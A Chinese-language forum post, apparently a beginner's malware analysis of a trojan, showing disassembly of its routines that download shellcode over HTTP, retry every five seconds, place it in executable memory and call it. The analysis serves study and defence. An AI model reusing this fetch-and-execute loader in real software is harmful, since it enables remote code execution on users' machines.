-
-
[原创][原创]小白--首发木马分析
-
发表于: 2024-12-31 22:09 1637
-
程序大体框架,看起来不是很难
进入主函数,然后分析得到首先是获取当前目录,如下代码就是获取当前目录的反汇编代码,如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 | .text: 00401430 Get_CurrentDir proc near ; CODE XREF: wWinMain(x,x,x,x) + 15 ↓p .text: 00401430 .text: 00401430 Filename = byte ptr - 10Ch .text: 00401430 var_4 = dword ptr - 4 .text: 00401430 .text: 00401430 sub esp, 10Ch .text: 00401436 mov eax, ___security_cookie .text: 0040143B xor eax, esp .text: 0040143D mov [esp + 10Ch + var_4], eax .text: 00401444 push 105h ; Size .text: 00401449 lea eax, [esp + 110h + Filename] .text: 0040144D push 0 ; Val .text: 0040144F push eax ; void * .text: 00401450 call _memset .text: 00401455 add esp, 0Ch .text: 00401458 push 105h ; nSize .text: 0040145D lea ecx, [esp + 110h + Filename] .text: 00401461 push ecx ; lpFilename .text: 00401462 push 0 ; hModule .text: 00401464 call ds:GetModuleFileNameA .text: 0040146A lea eax, [esp + 10Ch + Filename] .text: 0040146D lea edx, [eax + 1 ] .text: 00401470 .text: 00401470 loc_401470: ; CODE XREF: Get_CurrentDir + 45 ↓j .text: 00401470 mov cl, [eax] .text: 00401472 inc eax .text: 00401473 test cl, cl .text: 00401475 jnz short loc_401470 .text: 00401477 sub eax, edx .text: 00401479 add eax, 0FFFFFFFFh .text: 0040147C js short loc_401490 .text: 0040147E mov cl, 5Ch ; '\' .text: 00401480 .text: 00401480 loc_401480: ; CODE XREF: Get_CurrentDir + 58 ↓j .text: 00401480 cmp [esp + eax + 10Ch + Filename], cl .text: 00401483 jz short loc_40148C .text: 00401485 sub eax, 1 .text: 00401488 jns short loc_401480 .text: 0040148A jmp short loc_401490 .text: 0040148C ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - .text: 0040148C .text: 0040148C loc_40148C: ; CODE XREF: Get_CurrentDir + 53 ↑j .text: 0040148C mov [esp + eax + 10Ch + Filename], 0 .text: 00401490 .text: 00401490 loc_401490: ; CODE XREF: Get_CurrentDir + 4C ↑j .text: 00401490 ; Get_CurrentDir + 5A ↑j .text: 00401490 lea edx, [esp + 10Ch + Filename] .text: 00401493 push edx ; lpPathName .text: 00401494 call ds:SetCurrentDirectoryA .text: 0040149A mov ecx, [esp + 10Ch + var_4] .text: 004014A1 xor ecx, esp ; StackCookie .text: 004014A3 call @__security_check_cookie@ 4 ; __security_check_cookie(x) .text: 004014A8 add esp, 10Ch .text: 004014AE retn .text: 004014AE Get_CurrentDir endp |
然后就是先获取本地shellcode也就是(Get_local_shellcode函数),如果本地shellcode不存在就会获取远程的shellcode也就是(GetShellcode函数),远程获取shellcode代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 | .text: 00401160 GetShellode proc near ; CODE XREF: wWinMain(x,x,x,x) + 62 ↓p .text: 00401160 ; wWinMain(x,x,x,x) + 79 ↓p .text: 00401160 .text: 00401160 dwBufferLength = dword ptr - 24h .text: 00401160 var_20 = dword ptr - 20h .text: 00401160 var_1C = dword ptr - 1Ch .text: 00401160 Buffer = dword ptr - 18h .text: 00401160 var_14 = dword ptr - 14h .text: 00401160 var_10 = dword ptr - 10h .text: 00401160 var_C = dword ptr - 0Ch .text: 00401160 lpszAcceptTypes = dword ptr - 8 .text: 00401160 var_4 = dword ptr - 4 .text: 00401160 .text: 00401160 sub esp, 24h .text: 00401163 mov eax, dword_40BF90 .text: 00401168 push ebx .text: 00401169 push ebp .text: 0040116A push edi .text: 0040116B xor ebp, ebp .text: 0040116D push ebp ; dwFlags .text: 0040116E push ebp ; lpszProxyBypass .text: 0040116F push ebp ; lpszProxy .text: 00401170 push ebp ; dwAccessType .text: 00401171 xor ebx, ebx .text: 00401173 push ebp ; lpszAgent .text: 00401174 mov [esp + 44h + var_1C], ebx .text: 00401178 mov [esp + 44h + lpszAcceptTypes], offset asc_4092B0 ; "*/*" .text: 00401180 mov [esp + 44h + var_4], ebp .text: 00401184 mov [esp + 44h + var_14], eax .text: 00401188 call ds:InternetOpenW .text: 0040118E mov edi, eax .text: 00401190 mov [esp + 30h + var_10], edi .text: 00401194 cmp edi, ebp .text: 00401196 jz loc_4012EF .text: 0040119C mov ecx, lpszServerName .text: 004011A2 push esi .text: 004011A3 push ebp ; dwContext .text: 004011A4 push ebp ; dwFlags .text: 004011A5 push 3 ; dwService .text: 004011A7 push ebp ; lpszPassword .text: 004011A8 push ebp ; lpszUserName .text: 004011A9 push 50h ; 'P' ; nServerPort .text: 004011AB push ecx ; lpszServerName .text: 004011AC push edi ; hInternet .text: 004011AD call ds:InternetConnectW .text: 004011B3 mov esi, eax .text: 004011B5 mov [esp + 34h + var_C], esi .text: 004011B9 cmp esi, ebp .text: 004011BB jz loc_4012E7 .text: 004011C1 mov eax, lpszObjectName .text: 004011C6 push ebp ; dwContext .text: 004011C7 push 4000000h ; dwFlags .text: 004011CC lea edx, [esp + 3Ch + lpszAcceptTypes] .text: 004011D0 push edx ; lplpszAcceptTypes .text: 004011D1 push ebp ; lpszReferrer .text: 004011D2 push ebp ; lpszVersion .text: 004011D3 push eax ; lpszObjectName .text: 004011D4 push ebp ; lpszVerb .text: 004011D5 push esi ; hConnect .text: 004011D6 call ds:HttpOpenRequestW .text: 004011DC mov ebx, eax .text: 004011DE cmp ebx, ebp .text: 004011E0 jz loc_4012DC .text: 004011E6 push ebp ; dwOptionalLength .text: 004011E7 push ebp ; lpOptional .text: 004011E8 push ebp ; dwHeadersLength .text: 004011E9 push ebp ; lpszHeaders .text: 004011EA push ebx ; hRequest .text: 004011EB call ds:HttpSendRequestW .text: 004011F1 test eax, eax .text: 004011F3 jz loc_4012CD .text: 004011F9 mov esi, ds:HttpQueryInfoW .text: 004011FF push ebp ; lpdwIndex .text: 00401200 lea ecx, [esp + 38h + dwBufferLength] .text: 00401204 push ecx ; lpdwBufferLength .text: 00401205 lea edx, [esp + 3Ch + Buffer ] .text: 00401209 push edx ; lpBuffer .text: 0040120A push 20000013h ; dwInfoLevel .text: 0040120F mov edi, 4 .text: 00401214 push ebx ; hRequest .text: 00401215 mov [esp + 48h + dwBufferLength], edi .text: 00401219 call esi ; HttpQueryInfoW .text: 0040121B test eax, eax .text: 0040121D jz loc_4012CD .text: 00401223 cmp [esp + 34h + Buffer ], 0C8h .text: 0040122B jnz loc_4012CD .text: 00401231 push ebp ; lpdwIndex .text: 00401232 lea eax, [esp + 38h + dwBufferLength] .text: 00401236 push eax ; lpdwBufferLength .text: 00401237 lea ecx, [esp + 3Ch + var_20] .text: 0040123B push ecx ; lpBuffer .text: 0040123C push 20000005h ; dwInfoLevel .text: 00401241 push ebx ; hRequest .text: 00401242 mov [esp + 48h + var_20], ebp .text: 00401246 mov [esp + 48h + dwBufferLength], edi .text: 0040124A call esi ; HttpQueryInfoW .text: 0040124C test eax, eax .text: 0040124E jz short loc_4012CD .text: 00401250 mov eax, [esp + 34h + var_20] .text: 00401254 cmp eax, ebp .text: 00401256 jz short loc_4012CD .text: 00401258 inc eax .text: 00401259 push eax ; dwBytes .text: 0040125A push 8 ; dwFlags .text: 0040125C call ds:GetProcessHeap .text: 00401262 push eax ; hHeap .text: 00401263 call ds:HeapAlloc .text: 00401269 mov edi, eax .text: 0040126B cmp edi, ebp .text: 0040126D jz short loc_4012CD .text: 0040126F mov ebp, ds:InternetReadFile .text: 00401275 mov eax, [esp + 34h + var_20] .text: 00401279 xor esi, esi .text: 0040127B jmp short loc_401280 .text: 0040127B ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - .text: 0040127D align 10h .text: 00401280 .text: 00401280 loc_401280: ; CODE XREF: GetShellode + 11B ↑j .text: 00401280 ; GetShellode + 143 ↓j .text: 00401280 lea edx, [esp + 34h + dwBufferLength] .text: 00401284 push edx ; lpdwNumberOfBytesRead .text: 00401285 sub eax, esi .text: 00401287 push eax ; dwNumberOfBytesToRead .text: 00401288 lea eax, [esi + edi] .text: 0040128B push eax ; lpBuffer .text: 0040128C push ebx ; hFile .text: 0040128D call ebp ; InternetReadFile .text: 0040128F test eax, eax .text: 00401291 mov eax, [esp + 34h + var_20] .text: 00401295 jz short loc_4012A5 .text: 00401297 mov ecx, [esp + 34h + dwBufferLength] .text: 0040129B test ecx, ecx .text: 0040129D jz short loc_4012A5 .text: 0040129F add esi, ecx .text: 004012A1 cmp esi, eax .text: 004012A3 jb short loc_401280 .text: 004012A5 .text: 004012A5 loc_4012A5: ; CODE XREF: GetShellode + 135 ↑j .text: 004012A5 ; GetShellode + 13D ↑j .text: 004012A5 cmp esi, eax .text: 004012A7 jz short loc_4012BB .text: 004012A9 push edi ; lpMem .text: 004012AA push 0 ; dwFlags .text: 004012AC call ds:GetProcessHeap .text: 004012B2 push eax ; hHeap .text: 004012B3 call ds:HeapFree .text: 004012B9 jmp short loc_4012CD .text: 004012BB ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - .text: 004012BB .text: 004012BB loc_4012BB: ; CODE XREF: GetShellode + 147 ↑j .text: 004012BB mov ecx, [esp + 34h + var_14] .text: 004012BF mov [ecx + 14h ], eax .text: 004012C2 mov [ecx + 10h ], edi .text: 004012C5 mov [esp + 34h + var_1C], 1 .text: 004012CD .text: 004012CD loc_4012CD: ; CODE XREF: GetShellode + 93 ↑j .text: 004012CD ; GetShellode + BD↑j ... .text: 004012CD push ebx ; hInternet .text: 004012CE call ds:InternetCloseHandle .text: 004012D4 mov edi, [esp + 34h + var_10] .text: 004012D8 mov esi, [esp + 34h + var_C] .text: 004012DC .text: 004012DC loc_4012DC: ; CODE XREF: GetShellode + 80 ↑j .text: 004012DC push esi ; hInternet .text: 004012DD call ds:InternetCloseHandle .text: 004012E3 mov ebx, [esp + 34h + var_1C] .text: 004012E7 .text: 004012E7 loc_4012E7: ; CODE XREF: GetShellode + 5B ↑j .text: 004012E7 push edi ; hInternet .text: 004012E8 call ds:InternetCloseHandle .text: 004012EE pop esi .text: 004012EF .text: 004012EF loc_4012EF: ; CODE XREF: GetShellode + 36 ↑j .text: 004012EF pop edi .text: 004012F0 pop ebp .text: 004012F1 mov eax, ebx .text: 004012F3 pop ebx .text: 004012F4 add esp, 24h .text: 004012F7 retn .text: 004012F7 GetShellode endp |
如果远程获取shellcode失败,就会每个5s循环进行获取。
如果获取成功就会分配堆空间并加载shellcode,首先为shellcode分配一块可读可写可执行的空间,然后再将shellcode复制到对应的内存,然后构造shellcode的参数,并巧妙的提升站使用call函数来调用。代码如下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 | text: 00401070 sub_401070 proc near ; CODE XREF: wWinMain(x,x,x,x) + 92 ↓p .text: 00401070 .text: 00401070 var_8 = dword ptr - 8 .text: 00401070 var_4 = dword ptr - 4 .text: 00401070 .text: 00401070 push ebp .text: 00401071 mov ebp, esp .text: 00401073 sub esp, 8 .text: 00401076 mov eax, dword_40BF90 .text: 0040107B push ebx .text: 0040107C push esi .text: 0040107D push edi .text: 0040107E lea esi, [eax + 14h ] .text: 00401081 mov edi, eax .text: 00401083 mov eax, [esi] .text: 00401085 push 40h ; '@' ; flProtect .text: 00401087 push 3000h ; flAllocationType .text: 0040108C inc eax .text: 0040108D push eax ; dwSize .text: 0040108E push 0 ; lpAddress .text: 00401090 mov [ebp + var_8], edi .text: 00401093 call ds:VirtualAlloc ; 分配可读可写可执行内存权限 .text: 00401099 mov [ebp + var_4], eax .text: 0040109C test eax, eax .text: 0040109E jz short loc_4010DF .text: 004010A0 mov ecx, [esi] .text: 004010A2 mov edx, [edi + 10h ] .text: 004010A5 push ecx ; Size .text: 004010A6 push edx ; Src .text: 004010A7 push eax ; void * .text: 004010A8 call _memcpy .text: 004010AD add esp, 0Ch .text: 004010B0 xor eax, eax .text: 004010B2 mov eax, [ebp + var_8] .text: 004010B5 push eax .text: 004010B6 mov ebx, 0DEFAC00h .text: 004010BB add ebx, 0EDh .text: 004010C1 push ebx .text: 004010C2 xor eax, eax .text: 004010C4 push eax .text: 004010C5 pop eax .text: 004010C6 mov ebx, [ebp + var_4] .text: 004010C9 push ebx .text: 004010CA pop esi .text: 004010CB xor edi, edi .text: 004010CD add edi, 1000h .text: 004010D3 sub esp, edi .text: 004010D5 call esi ; 加载shellcode .text: 004010D7 push 0 ; uExitCode .text: 004010D9 call ds:ExitProcess .text: 004010DF ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - .text: 004010DF .text: 004010DF loc_4010DF: ; CODE XREF: sub_401070 + 2E ↑j .text: 004010DF pop edi .text: 004010E0 pop esi .text: 004010E1 pop ebx .text: 004010E2 mov esp, ebp .text: 004010E4 pop ebp .text: 004010E5 retn .text: 004010E5 sub_401070 endp |
这就是构造shellcode参数,并巧妙提升栈并加载shellcode的一个过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | .text: 004010B5 push eax .text: 004010B6 mov ebx, 0DEFAC00h .text: 004010BB add ebx, 0EDh .text: 004010C1 push ebx .text: 004010C2 xor eax, eax .text: 004010C4 push eax .text: 004010C5 pop eax .text: 004010C6 mov ebx, [ebp + var_4] .text: 004010C9 push ebx .text: 004010CA pop esi .text: 004010CB xor edi, edi .text: 004010CD add edi, 1000h .text: 004010D3 sub esp, edi .text: 004010D5 call esi ; 加载shellcode |
1 | 加密的shellcode及解密后的shellcode,如附件 22.zip 所示。后面就不写了了解规则在发,就是刚刚说的shellcode的第二个参数,也就是第一个push的数据,从dump得到的参数我们可以对比发现他就是解密后的shellcode,所以猜测判定第二个push进去的也就是数据的大小,具体分析需要分析shellcode才能得知,传的参数如附件 11.zip 所示,shellcode才是这个木马的精髓不了解规则不敢发。 |
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2025-1-1 11:25
被安全小菜鸡编辑
,原因:
赞赏
赞赏
雪币:
留言: